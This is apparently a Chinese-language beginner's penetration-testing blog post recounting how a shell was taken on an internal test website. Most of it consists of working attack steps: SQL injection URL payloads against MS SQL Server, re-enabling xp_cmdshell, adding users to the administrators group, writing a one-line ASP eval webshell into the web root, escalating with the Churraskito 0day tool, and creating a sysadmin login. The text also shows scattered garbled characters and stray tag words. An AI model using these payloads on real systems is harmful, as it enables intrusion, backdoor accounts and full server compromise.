话说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我就开始吭哧吭哧的干起来。web
首先,作渗透测试要有个思路,不能埋头苦干。因此就开始理了下思路,具体以下:sql
主要就这几种思路,下面就开始实施。shell
既然是判断有无sql注入,最方便的方法固然是使用工具进行扫描,这里我使用的是webcruiser,一个很是小巧的工具,固然我这里确定可以扫描出sql注入漏洞,接下来固然能够继续用这个工具获得数据库等信息,而我在这里就直接在该sql注入点是否可以执行xp_cmdshell。数据库
具体方法是这样的:windows
?Id=1234;and (select count(*) from sysobjects)>0安全
?id=1234;and user>0 (若显示dbo 则表明sa)。函数
?id=1234;and db_name()>0,执行异常时,能够获得当前链接的数据库名。工具
?id=1234;and (select count(*) from master.dbo.sysobjects where xtype=”X” and name =’xp_cmdshell’)sqlserver
?id=1234;and exec sp_addextendepro xp_cmdshell,’xplog70.dll’测试
若出现下面的错误,能够尝试以下方法:
l 没法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。缘由126 (找不到指定模块)。
首先执行,exec sp_dropextendeproc “xp_cmdshell” ,而后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”
l 没法再库xpweb70.dll 中找到函数xp_cmdshell 缘由127
首先执行 exec sp_dropextendeproc “xp_cmdshell” ,而后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”
?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”-- 其中aaa为用户名,bbb为密码。
添加到管理员组:
?id=1234 ;exec master..xp_cmdshell “net localgroup administrators aaa/add ”
?id=1234 ;exec backup database 数据库名 to disk =’C:\inetpub/wwwroot\save.db’,固然前提是知道web虚拟路径。
?id=1234;exec master..xp_cmdshell “copy c:\windows\system32\cmd.exe c:\inetpub\scripts\cmd.exe”
上面的主要是利用xp_cmdshell 方法来的,若是其中的方法不起做用,那就另当别论了。
既然是经过上传一个文件,那么首先要作的工做就是找各类上传路径,在前台摸索了半天也没有找到一个能够上传的功能,然后使用后台上传功能,经过找各类后台,其中发现个admin这个后台,无奈,用户名和密码均没法经过验证,从数据库里面看,也没有相应的用户名和密码,因此这个后台基本上是个无效的后台,没办法,眼看着上传这条路就要失效了,此时我又使用了webcruiser 对整个网站扫描了下,发现该软件有cmd模式,并且可以执行成功,此时思路就来了,既然应用程序先后台均没法上传,何不在这里直接使用cmd命令来创建一个asp文件呢?固然前提是要知道web虚拟路径在哪里。
通常状况下,web虚拟路径一般是这样的:C:\inetpub\wwwroot ;D:\inetpub\wwwroot ;
或者E:\inetpub\wwwroot 等 就这几个路径,而虚拟能够执行的目录通常是C:\inetpub\scripts ;D:\inetpub\scripts ; E:\inetpub\scripts
接下来,我在cmd命令下,直接执行一条命令:
echo ^<^%execute^(request^("eval"^)^)^%^> c:\inetpub\wwwroot\cms\test123456.asp
在这个目录下,生成了个一句话木马asp文件,而后再使用菜刀链接,ok,webshell拿到。
获得webshell 不是最主要的,并且webshell 也没有什么太大的做用,所以就尝试使用webshell往相应目录传送咱们的攻击文件,尝试了几个目录均没有发现能够执行的目录,在快要放弃的状况下,而后尝试了C:\recycle这个目录,发现能够上传能够执行的文件,下面就简单了。
接下来的思路很简单,就是上传一个后面软件,执行系统权限添加操做。在作到过程当中,仍是遇到了很多困难,例如,开始上传的瑞士军刀,想经过反弹端口来执行咱们添加用户的操做,发现没法成功。
在后来,经过一些0day的溢出漏洞来取得系统权限,在网上搜罗了一大堆的0day软件,均发现不能够利用,后来看到“巴西烤肉”这款软件,英文名Churraskito.exe,这款0day溢出软件是如此的强大,并且我下的这个还么有后门,直接执行Churraskito “C:\windows\system32\cmd.exe ” “net user 111 111/add”成功添加用户,哈哈,固然若是你想加到管理员组,在使用Churraskito “C:\windows\system32\cmd.exe ” “net localgroup administrators 111 /add” 基本上就ok了,至此,一个简单的获取系统权限的渗透测试就算完成了。
这里直接用webcruiser 中的cmd命令,直接执行添加用户操做就能够了,省去了后面的一系列操做。擦得,后来才想到的,唉。。。
既然能够执行,未必非要xp_cmdshell ,咱们能够经过尝试sa,这个操做,例如,先在数据库中创建一个用户,而后把该用户提高为sysadmin,以后在使用查询分析器链接,固然仍是要使用xp_cmdshell 的存储过程。
具体方法以下:
首先创建数据库用户:
?id=1234;exec master.dbo.sp_addlogin user;
固然也能够为这个用户赋予密码,其实无所谓,若是赋予密码的话,这样操做:
?id=1234;exec master.dbo.password null ,password ,user;
这里的null就是旧密码,password 为新密码。
而后将该用户提高权限:
?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;
提高成功后,就能够经过查询分析器链接,链接成功后,直接查看xp_cmdshell是否能用;若是能用,则直接提高权限操做,;例如:
Xp_cmdshell ‘net user’
Xp_cmdshell ‘net user test123 test123 /add’
Xp_cmdshell ‘net localgroup administrators test123/add ’
Xp_cmdshell ‘net user test123 /del’
等。
开启telnet服务:
Xp_cmdshell ‘net start tlntsvr’
在这期间,我知道了webshell 和shell 不是一回事,也知道了xp_cmdshell是能够获取系统权限的,也知道了 有些工具是能够执行cmd命令的,固然我也初步了解下瑞士军刀 巴西烤肉等一系列攻击工具的用法,固然也了解到一些系统是能够被0day的。虽然此次渗透还有不少没有了解的地方,虽然只是大体的了解下,可是,对之后这方面,应该有个很好的思路以及借鉴。安全这块,任重而道远,以此勉励本身。